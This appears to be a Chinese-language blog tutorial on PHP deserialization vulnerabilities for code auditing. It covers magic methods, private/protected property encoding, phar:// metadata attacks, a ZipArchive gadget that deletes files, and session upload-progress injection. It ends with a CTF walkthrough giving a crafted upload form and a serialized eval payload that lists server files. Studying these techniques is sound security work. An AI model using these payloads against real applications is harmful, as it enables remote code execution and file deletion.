代码审计反序列化初探

119 阅读6分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第二十天,点击查看活动详情 之前一直觉得反序列化很难,学的也是浅尝辄止,想要跟着审计tp5.1的反序列化,打算重新学习一下反序列化的知识

什么是序列化

序列化是将对象转换为字符串以便存储和传输的一种方式。而反序列化就是序列化的逆过程,它会将字符串重新转换为对象供程序使用。简单的说,序列化serialize就是对象–>字符串,反序列化就是字符串–>对象。 序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 用一段代码简单演示一下

<?php
    class pa{
        public $name;
        public $height;
        public $age;

        public function __construct($name,$height,$age){
            $this -> name = $name;
            $this -> height = $height;
            $this -> age = $age;
        }
    }

    $pan = new pa("panacea",170,18);
    print serialize($pan)."</br>";
    //O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;}
    var_dump(unserialize('O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;}'));
    //object(pa)#2 (3) { ["name"]=> string(7) "panacea" ["height"]=> int(170) ["age"]=> int(18) }

经过序列化后的内容为: O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;} O:Object,对象 3:类里面有3个变量 s:string字符串 name:变量名 4:变量名的长度 i:int整型

PHP中的魔术方法

__construct()         当一个对象创建时触发
 __destruct()          当一个对象被销毁时触发
 __toString()          把类当作字符串使用时触发
 __call()              在对象上下文中调用不可访问的方法时触发
 __callStatic()        在静态上下文中调用不可访问的方法时触发
 __get()               用于从不可访问的属性读取数据时
 __set()               用于将数据写入不可访问的属性
 __wakeup()            使用unserialize时触发
 __sleep()             使用serialize时触发
 __isset()             在不可访问的属性上调用isset()或empty()触发
 __unset()             在不可访问的属性上使用unset()时触发
 __invoke()            当脚本尝试将对象调用为函数时触发
 __autoload()          尝试加载未定义的类时触发
 __clone()             当对象复制完成时触发

继续写一个demo,来查看什么时候调用什么方法

<?php
    class pa{
        public $name;
        public $height;
        public $age;
        public $test = "This is a test";

        public function __construct($name,$height,$age){
            $this -> name = $name;
            $this -> height = $height;
            $this -> age = $age;
            print "当一个对象创建时触发__consturct方法"."</br>";
        }

        public function PrintTest(){
            print $this -> test."</br>";
        }
        public function __toString(){
            return "把类当作字符串使用时触发__toString()方法"."</br>";
        }
        public function __sleep() {
            print "当在类外部使用serialize()时会调用这里的__sleep()方法"."</br>";
            return array('name', 'height','age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
        }

        public function __wakeup(){
            print "使用unserialize()时会调用__wakeup()方法"."</br>";
        }

        public function __destruct()
        {
            print "当一个对象被销毁时触发调用__destruct()方法"."</br>";
        }

    }

    $pan = new pa("panacea",170,18);
    print $pan;
    print serialize($pan)."</br>";
    //O:2:"pa":3:{s:4:"name";s:7:"panacea";s:6:"height";i:170;s:3:"age";i:18;}
    $str = $_GET["str"];
    var_dump(unserialize($str));

image.png

特殊属性的反序列化

序列化为了能将整个类对象的各种信息完完整整的压缩、格式化,也会将属性的权限序列化进去,但不同类型的属性会有不同的格式 public权限:可以内部调用、实例调用等 private权限:只能是同一个类的可以访问 protected权限:只对继承的类开放

<?php
    class Test{
        public $word = "This is private word";
        private $flag = "This is public flag";
        protected $hello = "This is protected hello";

        public function set_flag($flag){
            $this -> flag = $flag;
        }

        public function get_flag($flag){
            return $this -> flag;
        }
    }
    $object = new Test();
    $a = serialize($object);
   $b = unserialize($_GET["str"]);
    print $b -> get_flag()

O:4:"Test":3:{s:4:"word";s:20:"This is private word";s:10:"Testflag";s:19:"This is public flag";s:8:"hello";s:23:"This is protected hello";} 直接传参的话会报错 image.png 能看出不一样的地方Testflag这个的长度为10,是因为private属性的经过serialize()之后为:空格 类 空格 变量名,有了两个空格所以长度为10,protected属性的hello,为空格 星号 空格 变量名,所以长度为8,想要调用get_flag方法的话在Test和左右添加%00就可以调用了 /special.php?str=O:4:%22Test%22:3:{s:4:%22word%22;s:20:%22This%20is%20private%20word%22;s:10:%22%00Test%00flag%22;s:19:%22This%20is%20public%20flag%22;s:8:%22%00*%00hello%22;s:23:%22This%20is%20protected%20hello%22;} image.png 另外在7.1以上版本反序列化对属性不敏感,比如protected属性的a传参时候即使没有%00*%00仍然会输出abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
//unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
$p = new test();
print serialize($p);
//O:4:"test":1:{s:4:"*a";s:3:"abc";}abc

phar反序列化

需要将php.ini里面的phar.readonly设置为Off 除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作 phar文件是一种打包格式,将php文件以及很多资源捆绑到归档文件中实现应用程序和库的分发,php通过用户定义和内置的“流包装器"实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。" phar://就是一种内置的流包装器。

phar的文件格式

一般包括:

  1. stub phar文件的标志,必须以xxx_HALT_COMPILER()?>结尾,否则无法识别。xox可以为自定义内容。 2.manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,** 这是漏洞利用最核心的地方** 。可以在前面添加任意内容 3.content 被压缩文件的内容4.signature (可空)签名,放在末尾 4.signature(可空) 签名,放在末尾
<?php
//生成一个phar文件
    class TestObject {
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");//后缀名必须为phar
    $phar -> startBuffering();
    $phar->setStub(" <?php __HALT_COMPILER(); ?>");//设置stub
    $o = new TestObject();
    $phar->setMetadata($o);//将自定义的meta-data存入manifest
    $phar -> addFromString("test.txt","test");
    //签名自动计算
    $phar->stopBuffering();

010打开文件 image.png 在phar.php文件里面添加$o->name="panacea"; 访问index.php,传入phar文件

<?php
    class TestObject{
        public $name;
        function __destruct()
        {
            print $this -> name;
        }
    }

    if ($_GET["file"]){
        file_exists($_GET["file"]);
    }

image.png

phar反序列化利用条件

1、phar文件能够上传到服务器端 2、有可用的魔术方法作为“跳板” 3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤 image.png 可配合其他协议,如: php://filter/read=convert.base64-encoderesource=phar://phar.phar

原生类反序列化

原生类同名函数: SessionHandler::open() 当Sflag=ZipArchive;:OVERWRITE时,就会将Sfilename的文件删除

<?php
    $a = new ZipArchive();
    $a -> open("test.txt",ZipArchive::OVERWRITE);

通过反序列化进行文件删除操作 index.php

<?php

    class Upload{
        function open($filename,$content){
            print "You wanna open" . $filename . " Content: " . $content;
        }
    }
    cLass Index{
        public $upload;
        public $filename;
        public $content;

        function __construct($filename,$content){
            $this->upload = new UpLoad();
            $this->filename = $filename;
            $this->content = $content;
        }

        function __destruct(){
            var_dump($this->upload);
            var_dump($this->content);
            var_dump($this->filename);
            print getcwd();
            $this->upload->open($this->filename,$this->content);
        }
    }

    unserialize($_GET["file"]);
?>

poc.php

<?php
    cLass Index{
        public $upload;
        public $filename;
        public $content;

        function __construct($filename,$content){
            $this->filename = $filename;
            $this->content = $content;
        }
    }
    $a = new Index("test.txt",ZipArchive::OVERWRITE);
    $a -> upload = new ZipArchive();
    print serialize($a);

poc解释:index.php中反序列化时没有创建对象,因此不调用__construct()方法,在反序列化的时候将ZipArchive()赋值给upload,而ZipArchive()类的第二个参数如果为ZipArchive()::OVERWRITE时就可以删除文件

session反序列化

什么是session

session:会话控制,Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

session是如何发挥作用

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session_start()作用

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件),PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

php.ini中关于session的设置

session.save_path="" --设置session的存储路径 session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php image.png

有三种存储方式: php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 image.png

session反序列化的特殊利用

当PHP中'session.upload progress.enabled打开时, php会记录上传文件的进度,在上传时会将其信息保存在SESSION中。r1.session.upload..progress.enabled=On(是否启用上传进度报告)2.session.uploadprogress.cleanup=Off(是否上传完成之后删除session文件)上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.uploadprogress.name同名的变量(默认名为PHPSESSIONUPLOADPROGRESS)PHP检测到这种同名请求会在_SESSION`中。r 1.session.upload..progress.enabled = On(是否启用上传进度报告) 2.session.upload progress.cleanup = Off(是否上传完成之后删除session文件) 上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与 session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在`_SESSION`中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。 利用一道CTF题来了解下

jarvis oj phpinfo

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
来源: http://web.jarvisoj.com:32784/

传入phpinfo后就会触发__construct()方法,这里通过phpinfo内容查看session的一些设置,发现符合上面特殊利用的要求 image.png

需要上传一个与session.upload_progress.name同名的变量,但是题目没有需要上传的点,所以构造一个上传文件

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

构造poc

<?php
    class OowoO
    {
        //输出当前目录下的所有文件
        public $mdzz='print_r(scandir(dirname(__FILE__)));';

    }
    $obj = new OowoO();
    $a = serialize($obj);
    print $a;

    //O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>

使用burp随便上传个文件后抓包,将filename内容替换为payload,前面需要加上一个|,因为他的handler是php,就可得到flag的名字 Here_1s_7he_fl4g_buT_You_Cannot_see.php image.png 路径在 SCRIPT_FILENAME /opt/lampp/htdocs/index.php